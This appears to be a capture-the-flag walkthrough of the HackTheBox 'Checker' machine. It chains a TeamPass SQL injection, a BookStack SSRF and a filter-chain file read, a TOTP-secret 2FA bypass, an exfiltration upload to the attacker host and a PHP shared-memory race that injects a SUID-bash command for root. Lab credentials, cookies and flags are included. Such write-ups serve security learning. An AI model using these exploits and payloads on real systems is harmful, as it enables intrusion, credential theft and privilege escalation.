Checker

Recon

nmap_scan.log

HTTP (8080)

We will come back to port 80 later. 8080 is serving Teampass: Collaborative Passwords Manager

Writeup-1.png

Version Enumeration

We are not able to determine version via headers, so we can try looking in the source code. Usually version are appended to files with ?v=VERSION

Writeup.png

Verify in the source code: https://github.com/search?q=repo%3Anilsteampassnet%2FTeamPass+TP_VERSION&type=code

Writeup-2.png

SQLi

TeamPass 2.1.24 - Multiple Vulnerabilities

SQLi was interesting, but

└─$ curl http://checker.htb:8080/sources/items.queries.php -i
HTTP/1.1 200 OK
Date: Sat, 22 Feb 2025 20:24:46 GMT
Server: Apache
Set-Cookie: teampass_session=ga47qgc0bnkod0l2b8qi045lv4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 18
Content-Type: text/html; charset=UTF-8

Hacking attempt... 

SQLMap also was failing to get valid responses and then it got timed out.

└─$ sqlmap -u 'http://checker.htb:8080/sources/items.queries.php' --data 'type=action_on_quick_icon&id=x' -p 'id' --technique=B --dbms=MySQL --batch --level 5 --risk 3 --proxy http://127.0.0.1:8080
403 (Forbidden) - 100 times, 429 (Too Many Requests) - 121 times

CVE mentions SQLi is inside item.query.php, but that file doesn't exist and is probably items.queries.php. Also probable that it's patched.

Teampass SQL Injection vulnerability - CVE-2023-1545 - SQL injection in API authorization check in nilsteampassnet/teampass

└─$ bash teampass_sqli_poc.sh http://checker.htb:8080/
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

bob's password is cracked

➜ .\john-1.9.0-jumbo-1-win64\run\john.exe .\hashes.txt --wordlist=.\wordlist.txt
cheerleader      (?)

Creds: bob:cheerleader

TeamPass panel

bob has 2 credentials stored

Writeup-3.png

Creds: bob@checker.htb:mYSeCr3T_w1kI_P4sSw0rD

Writeup-4.png

Creds: reader:hiccup-publicly-genesis

SSH credentials work, but we also need a verification code to login.

└─$ ssh reader@checker.htb
(reader@checker.htb) Password:
(reader@checker.htb) Verification code:

HTTP (80)

Writeup-5.png

One of the pages mentions that /backup/home_backup is a safe directory, could be useful.

Writeup-10.png

App version seems to be 23.10.2

Writeup-6.png

SSRF

Book Stack v23.10.2 - LFR via Blind SSRF

Follow PoC to replicate the request

Writeup-7.png

No callback.

Image is created with contents of base64, but that seems to be it.

<p id="bkmrk-">
	<img id="bkmrk--1" src="http://checker.htb/uploads/images/gallery/2025-02/embedded-image-6mynvbdy.png">
</p>
└─$ curl http://checker.htb/uploads/images/gallery/2025-02/embedded-image-6mynvbdy.png
10.10.14.71/image.png 

Should have used http:// prefix in the url

└─$ echo "<img src='data:image/png;base64,$(echo -n http://10.10.14.71/image.png | base64)'/>"
<img src='data:image/png;base64,aHR0cDovLzEwLjEwLjE0LjcxL2ltYWdlLnBuZw=='/>
Writeup-8.png

Hmmm... to trigger SSRF I had to edit and then save the page.

Fix: https://github.com/BookStackApp/BookStack/releases/tag/v23.10.3 Diff: https://github.com/BookStackApp/BookStack/commit/15d7161428832d2ebf12061f69fff780cdb10550#diff-324822adaa09bd395b1a8bc3ee4a55fd5943c1e84c1065ae89208e507cb73f75

Test was added for LFI, but when testing for it it doesn't read file but saves images with file:///etc/passwd as content.

Writeup-9.png
└─$ curl http://checker.htb/uploads/images/gallery/2025-02/embedded-image-hjixjqg9.png
file://etc/passwd

LFI

PHP wrappers or php_filter_chain_generator also doesn't not work. or they do work but we just can't see any output as the attack is blind.

synacktiv has another research related to php filters: php_filter_chains_oracle_exploit - PHP filter chains: file read from error-based oracle

The payload needs a little tweaking, easiest way was to change this line in core/requestor.py

![Writeup-11.png](/assets/HackTheBox/Season_7/Checker/Writeup-11.png)

You need to obtain correct URL from saving drafts, then X-CSRF-TOKEN and Cookie headers in json format. Exfiltration takes really long time so we have to correctly pick the file to exfiltrate.

└─$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file '/etc/passwd' --verb 'PUT' --parameter 'html' --headers "$(cat headers.json)"

[*] The following URL is targeted : http://checker.htb/ajax/page/8/save-draft
[*] The following local file is leaked : /etc/passwd
[*] Running PUT requests
[*] Additionnal headers used : {
  "Cookie": "teampass_session=1c1sp8ktf3ek7lmojslr1jpblc; jstree_select=1; XSRF-TOKEN=eyJpdiI6IndMdVgrNUtOeGFXY0NjUmVteWdCYmc9PSIsInZhbHVlIjoiYjRXdzlOTW5ObVF2ZmN6VUJVblNMR0E3RWpjcUM0SUtxS3A5TFAwdW9iemdvVld3ajZ0ZTQvSGwrTFdxR25RbkJEYU1iVEVUWERXd1Y3eDdXQ3c5dDdRTlRqSGxOM3g3dUpIU2xQcituSTg4QitXdGZiZi9aV204MWJkTHRjQVQiLCJtYWMiOiJiNmNlY2Y5OWM2OGFkYTZkNTRjY2M2YTJjODQ1NmYxNThhNjY0ZjgxMGE5NDA3ZjQ3MWQ2ZDM4YmE2OGI5YTEyIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6ImJjMzFpWWRIZVhFU29vUkNQOXMycmc9PSIsInZhbHVlIjoiTDhMWFN5dXRielZpK1o0TC9xUXczem1BeHVEdmVYdnluMVBSNnVtSzZTOWxCSjduVWQ2Z1JFSzFsT0I0MmN3SGthTVc0VWxJR0FYMjlNWE1paEJZOHM3a2RZVml5UGFEUjVGM2JxU3RUdk90aUF5QVB4b3h5VDFJMExRQlRTRloiLCJtYWMiOiJmZjFlMDM4OGY1MjkyOWRlZmIxYjliMzA4YjRkMmM0YzMxOTg0MmFjOTIyODFjMWUzMzA0M2I2N2UwODllNTNhIiwidGFnIjoiIn0%3D",
  "X-CSRF-TOKEN": "DKw3zxXPNWtMtCgTabhyDsujWCuuiWq7BCeC936h"
}
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daem'

Note: If you feel like exploit should work but doesn't and you're going insane, try switching VPNs or restarting box. Switched VPNs 3 times and restarted 4 times to finally work... 😭

Read .env

└─$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file '../.env' --verb PUT --parameter html --headers "$(cat cookies)" --offset 1049
ails
DB_HOST=localhost
DB_DATABASE=bookstack_db
DB_USERNAME=bookstack
DB_PASSWORD=pK8HK7IHCKLCNHUJ7

# Mail system to use
# Can be 'smtp' or 'sendmail'
MAIL_DRIVER=smtp

# Mail sender details
MAIL_FROM_NAME="BookStack"
MAIL_FROM=bookstack@checker.htb

# SMTP mail options
# These settings can be checked using the "Send a Test Email"
# feature found in the "Settings > Maintenance" ap

Not really useful, ideally we want to login into SSH but we need 2FA code.

2FA Bypass

BookStack supports 2FA and most likely users use same application like this to logon.

Writeup-12.png

Most popular would be Google Authenticator application.

google-authenticator-libpam: Example PAM module demonstrating two-factor authentication for logging into servers via SSH, OpenVPN, etc…

Following path fails

└─$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file '/home/reader/.google_authenticator' --verb PUT --parameter html --headers "$(cat cookies)"

But following works. If you remember one of the pages talked about secure backup options and this directory was one of them.

└─$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file '/backup/home_backup/home/reader/.google_authenticator' --verb PUT --parameter html --headers "$(cat cookies)"
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'

SSH (22)

Use tool like https://toolinone.com/otp-generator/ to get 2FA code using the TOTP secret. (Do mind that it changes every 10 second or smth)

└─$ ssh reader@checker.htb
Warning: Permanently added 'checker.htb' (ED25519) to the list of known hosts.
(reader@checker.htb) Password: hiccup-publicly-genesis
(reader@checker.htb) Verification code: 824994
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
/usr/bin/ip_tools.sh failed: exit code 2
reader@checker:~$ id
uid=1000(reader) gid=1000(reader) groups=1000(reader)

User.txt

reader@checker:~$ cat user.txt
f3d3dc05c4c900900bb26d5f63faa020

Privilege Escalation

reader@checker:~$ sudo -l
Matching Defaults entries for reader on checker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

Mysql doesn't seems to have any new information which we would want.

reader@checker:~$ mysql -u bookstack -p'pK8HK7IHCKLCNHUJ7' bookstack_db -e 'SHOW TABLES;'
reader@checker:~$ mysql -u bookstack -p'pK8HK7IHCKLCNHUJ7' bookstack_db -e 'SHOW DATABASES;'
reader@checker:~$ mysql -u bookstack -p'pK8HK7IHCKLCNHUJ7' bookstack_db -e 'SELECT * FROM users;'

As sudo we are able to execute check-leak.sh with arguments.

reader@checker:~$ find /opt/hash-checker/ -ls
   131218      4 drwxr-xr-x   2 root     root         4096 Jan 30 17:09 /opt/hash-checker/
   131675      4 -rw-r--r--   1 root     root         1464 Jan 30 17:09 /opt/hash-checker/leaked_hashes.txt
   131658     44 -rwxr--r--   1 root     root        42376 Jan 30 17:02 /opt/hash-checker/check_leak
   131668      4 -rwxr--r--   1 root     root          141 Jan 30 17:04 /opt/hash-checker/check-leak.sh
   131673      4 -rwx------   1 root     root          750 Jan 30 17:07 /opt/hash-checker/cleanup.sh
   131674      4 -r--------   1 root     root          118 Jan 30 17:07 /opt/hash-checker/.env

It's sourcing probably env variables for script, then takes username and passes it to check_leak binary.

reader@checker:~$ cat /opt/hash-checker/check-leak.sh
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

Binary saves leaked hashes in same directory, probably not crackable.

reader@checker:/opt/hash-checker$ cat leaked_hashes.txt
$2b$10$rbzaxiT.zUi.e28wm2ja8OGx.jNamreNFQC6Kh/LeHufCmduH8lvy
$2b$10$Tkd9LwWOOzR.DWdzj9aSp.Bh.zQnxZahKel4xMjxLIHzdostFVqsK
$2b$10$a/lpwbKF6pyAWeGHCVARz.JOi3xtNzGK..GZON/cFhNi1eyMi4UIC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$DanymKXfnu1ZTrRh3JwBhuPsmjgOEBJLNEEmLPAAIfG9kiOI28fIC
$2b$10$/GwrAIQczda3O5.rnGb4IOqEE/JMU4TIcy95ECSh/pZBQzhlWITQ.
$2b$10$Ef6TBE9GdSsjUPwjm0NYlurGfVO/GdtaCsWBpVRPnQsCbYgf4oU8a
$2b$10$/KLwuhoXHfyKpq1qj8BDcuzNyhR0h0g27jl0yiX7BpBL9kO.wFWii
$2b$10$Ito9FRIN9DgMHWn20Zgfa.yKKlJ.HedScxyvymCxMYTWaZANHIzvO
$2b$10$J025XtUSjTm.kUfa19.6geInkfiISIjkr7unHxT4V/XDIl.2LYrZ2
$2b$10$g962m7.wovzDRPI/4l0GEOviIs2WUPBqlkPgVAPfsYpa138dd9aYK
$2b$10$keolOsecWXEyDIN/zDPVbuc/UOjGjnZGblpdBPQAfZDVm2fRIDUCq
$2b$10$y2Toog209OyRWk6z7S7XNOAkVBijv3HwNBpKk.R1bPCYuR8WxrL66
$2b$10$O4OQizv0TVsWxWi26tg8Xu3SCS29ZEv9JqwlY5ED240qW8V0eyG7a
$2b$10$/1ePaOFZrcpNHWFk72ZNpepXRvXIi1zMSBYBGGqxfUlxw/JiQQvCG
$2b$10$/0az8KLoanuz3rfiN.Ck9./Mt6IHxs5OGtKbgM31Z0NH9maz1hPDe
$2b$10$VGR3JK.E0Cc3OnY9FuB.u.qmwFBBRCrRLAvUlPnO5QW5SpD1tEeDO
$2b$10$9p/iOwsybwutYoL3xc5jaeCmYu7sffW/oDq3mpCUf4NSZtq2CXPYC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$8cXny33Ok0hbi2IY46gjJerQkEgKj.x1JJ6/orCvYdif07/tD8dUK
$2b$10$QAcqcdyu1T1qcpM4ZQeM6uJ3dXw2eqT/lUUGZvNXzhYqcEEuwHrvS
$2b$10$M1VMeJrjgaIbz2g2TCm/ou2srr4cd3c18gxLA32NhvpXwxo3P5DZW
$2b$10$rxp3yM98.NcbD3NeHLjGUujzIEWYJ5kiSynHOHo0JvUvXq6cBLuRO
$2b$10$ZOUUTIj7JoIMwoKsXVOsdOkTzKgHngBCqkt.ASKf78NUwfeIB4glK

Create python server which accepts PUT method

from http.server import SimpleHTTPRequestHandler, HTTPServer

class UploadHandler(SimpleHTTPRequestHandler):
    def do_PUT(self):
        """Handle file upload via HTTP PUT"""
        file_path = self.path.lstrip("/")  # Get filename from URL
        file_length = int(self.headers['Content-Length'])
        with open(file_path, "wb") as output_file:
            output_file.write(self.rfile.read(file_length))
        self.send_response(201, "Created")
        self.end_headers()

server_address = ('', 8000)
httpd = HTTPServer(server_address, UploadHandler)
print("Serving on port 8000...")
httpd.serve_forever()

Upload the file

reader@checker:/opt/hash-checker$ curl -T check_leak http://10.10.14.71:8000/

Reverse Engineering

└─$ ghidra_auto -c -t check_leak
[*] File Ouput:
        ELF 64-bit LSB pie executable
        x86-64
        version 1 (SYSV)
        dynamically linked
        interpreter /lib64/ld-linux-x86-64.so.2
        BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8
        for GNU/Linux 3.2.0
        with debug_info
        not stripped
[+] Pwntools Checksec:
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    ASAN:       Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] Running Analysis...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk version "21.0.2" 2024-01-16
OpenJDK Runtime Environment (build 21.0.2+13-Debian-2)
OpenJDK 64-Bit Server VM (build 21.0.2+13-Debian-2, mixed mode)

The main function basically boils down to this:

int main(int argc,char **argv) {
  char cVar1;
  uint uVar2;
  char *db_host;
  char *db_user;
  char *db_password;
  char *db_name;
  size_t sVar3;
  void *__ptr;
  char *username;
  
  db_host = getenv("DB_HOST");
  db_user = getenv("DB_USER");
  db_password = getenv("DB_PASSWORD");
  db_name = getenv("DB_NAME");
  username = argv[1];
  if (username != (char *)0x0) {
    cVar1 = *(char *)(((ulong)username >> 3) + 0x7fff8000);
    if (cVar1 <= (char)((byte)username & 7) && cVar1 != '\0') {
      __asan_report_load1(username);
    }
    if (*username != '\0') {
      sVar3 = strlen(username);
      if (0x14 < sVar3) {
      ...
      __ptr = (void *)fetch_hash_from_db(db_host,db_user,db_password,db_name,username);
      if (__ptr == (void *)0x0) { puts("User not found in the database."); }
      else {
        cVar1 = check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",__ptr);
        if (cVar1 == '\0') { puts("User is safe."); }
        else {
          puts("Password is leaked!");
          uVar2 = write_to_shm(__ptr);
          printf("Using the shared memory 0x%X as temp location\n",(ulong)uVar2);
          sleep(1);
          notify_user(db_host,db_user,db_password,db_name,uVar2);
          clear_shared_memory(uVar2);
        }
        free(__ptr);
      }
      return 0;
    }
  }

We pass the username to binary, it get's checked in database that it's exists and then it's checking if password is inside leaked_hashes.txt

I used ChatGPT to reconstruct decompiled notify_user function into more readable code and I think it's doing pretty good job. It even guessed that function last parameter was related to shm

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mysql/mysql.h>
#include <sys/shm.h>

void notify_user(char *db_host, char *db_user, char *db_password, char *db_name, uint32_t shm_key) {
    char *shared_memory;
    int shm_id;
    char query[256];
    FILE *query_output;
    char email[256];

    // Attempt to access shared memory
    shm_id = shmget(shm_key, 0, 0666);
    if (shm_id == -1) { printf("No shared memory segment found for key: 0x%X\n", shm_key); return; }

    // Attach shared memory
    shared_memory = (char *)shmat(shm_id, NULL, 0);
    if (shared_memory == (char *)-1) { fprintf(stderr, "Failed to attach to shared memory (ID %d)\n", shm_id); return; }

    // Check if "Leaked hash detected" is in shared memory
    char *hash_start = strstr(shared_memory, "Leaked hash detected");
    if (!hash_start) { puts("No hash detected in shared memory."); shmdt(shared_memory); return; }

    // Extract the hash value
    hash_start = strchr(hash_start, '>');
    if (!hash_start) { puts("Malformed data in shared memory."); shmdt(shared_memory); return; }

    char *hash = trim_bcrypt_hash(hash_start + 1);

    // Set MySQL password as an environment variable
    if (setenv("MYSQL_PWD", db_password, 1) != 0) { perror("setenv"); shmdt(shared_memory); return; }

    // Build SQL query to find the associated email
    snprintf(query, sizeof(query),
             "mysql -u %s -D %s -s -N -e \"SELECT email FROM teampass_users WHERE pw = '%s'\"",
             db_user, db_name, hash);

    // Execute query
    query_output = popen(query, "r");
    if (!query_output) { puts("Failed to execute MySQL query."); shmdt(shared_memory); return; }

    // Read the result (email address)
    if (!fgets(email, sizeof(email), query_output)) { puts("Failed to read result from the database."); pclose(query_output); shmdt(shared_memory); return; }

    // Remove newline character from email
    email[strcspn(email, "\n")] = 0;

    // Notify user
    if (*email) { printf("User will be notified via %s\n", email); }

    // Cleanup
    pclose(query_output);
    shmdt(shared_memory);
    unsetenv("MYSQL_PWD");
}

write_to_shm function:

  • Creates a shared memory segment.

  • Attaches to it.

  • Writes a formatted message.

  • Detaches from it.

  • Returns the generated shared memory key.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/shm.h>
#include <unistd.h>

int write_to_shm(const char *param_1) {
    time_t now;
    int shmid;
    char *shm_addr;
    char time_str[32];

    // Seed random generator with current time and generate a random key
    now = time(NULL);
    srand((unsigned int)now);
    int rand_key = rand() % 0xFFFFF;

    // Create shared memory segment
    shmid = shmget(rand_key, 0x400, 0666);
    if (shmid == -1) {
        perror("shmget");
        exit(1);
    }

    // Attach shared memory
    shm_addr = (char *)shmat(shmid, NULL, 0);
    if (shm_addr == (char *)-1) {
        perror("shmat");
        exit(1);
    }

    // Get formatted time string (without newline)
    now = time(NULL);
    strncpy(time_str, ctime(&now), sizeof(time_str) - 1);
    time_str[sizeof(time_str) - 1] = '\0';

    size_t len = strlen(time_str);
    if (len > 0 && time_str[len - 1] == '\n') {
        time_str[len - 1] = '\0'; // Remove trailing newline
    }

    // Write message to shared memory
    snprintf(shm_addr, 0x400, "Leaked hash detected at %s > %s\n", time_str, param_1);

    // Detach shared memory
    shmdt(shm_addr);

    return rand_key;
}

notify_user function uses mysql command with popen (query_output = popen(query, "r");) instead of calling mysql api using code. This is dangerous since it's using credentials via Shared Memory.

Let's test the functionality. We will need second terminal to run 2 commands or you can use background jobs, second ssh is simpler for me.

# Log all the shared memory regions (Term 1)
reader@checker:/opt/hash-checker$ while true; do echo "$(date)"; ipcs -m; echo "---------"; done > /tmp/ipcs.log

# Trigger creating shared region (Term 2)
reader@checker:~$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0xF3D4D as temp location
User will be notified via bob@checker.htb

# Check  shared regions (Term 1)
reader@checker:/opt/hash-checker$ cat /tmp/ipcs.log
...
Sun Feb 23 12:37:14 UTC 2025
------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status

---------

Sun Feb 23 12:37:14 UTC 2025
------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x000f3d4d 0          root       666        1024       0
...

Now to exploit the binary we have to win the race. Binary writes to shared memory, waits 1 second and then notifies the user. If we can hijack the share memory region with our payload we can inject into popen and get code execution as root.

          puts("Password is leaked!");
          uVar2 = write_to_shm(__ptr);
          printf("Using the shared memory 0x%X as temp location\n",(ulong)uVar2);
          sleep(1); // <---------
          notify_user(db_host,db_user,db_password,db_name,uVar2);
          clear_shared_memory(uVar2);

Win The Race

Writeup-13.png

Top left: reader@checker:/tmp$ php exp.php | tee exp.log Top right: reader@checker:~$ watch -n1 sudo /opt/hash-checker/check-leak.sh bob Bottom: reader@checker:/tmp$ nano exp.php

<?php
error_reporting(E_ALL);
$shm_size = 1024;  // Size of shared memory (1024 bytes)
$shm_mode = 0o666; // Permissions: 0666 in octal

function find_vulnerable_shm() {
    $output = [];
    exec("ipcs -m", $output);
    foreach ($output as $line) {
        if (preg_match('/^\s*(0x[0-9a-fA-F]+)\s+(\d+)\s+(root)\s+(\d+)\s+(\d+)\s+(\d+)/', $line, $matches)) {
            $shm_key = hexdec($matches[1]); // Hex key
            return $shm_key;
        }
    }
    return -1;
}

while (true) {
    $shm_key = find_vulnerable_shm();
    if ($shm_key === -1) { echo "[*] No vulnerable shared memory found. Retrying...\n"; usleep(50000); continue; }

    $shm = shmop_open($shm_key, "w", $shm_mode, $shm_size);
    if (!$shm) { echo "[!] Failed to attach to shared memory ID: $shm_key\n"; continue; }

    $payload = "Leaked hash detected at " . date('Y-m-d H:i:s') . " > '; install -m4777 /bin/bash /tmp/rootbash ; #";

    shmop_write($shm, $payload, 0);
    echo "[+] Injected payload into shared memory ID: $shm_key\n";
    echo "Shared Memory Content: " . shmop_read($shm, 0, $shm_size) . "\n";
    shmop_close($shm);
    usleep(50000);
}
?>
  1. Start the sudo job and continuously open shared memory

  2. Start PHP script to automatically find the region using ipcs -m

  3. Attach PHP script to root shared memory

  4. Spam writing payload to win race

  5. Pwned

reader@checker:/tmp$ /tmp/rootbash -p
rootbash-5.1# id
uid=1000(reader) gid=1000(reader) euid=0(root) groups=1000(reader)

Root.txt

rootbash-5.1# cat /root/root.txt
357575db69020e9cd48f818f66168076

Last updated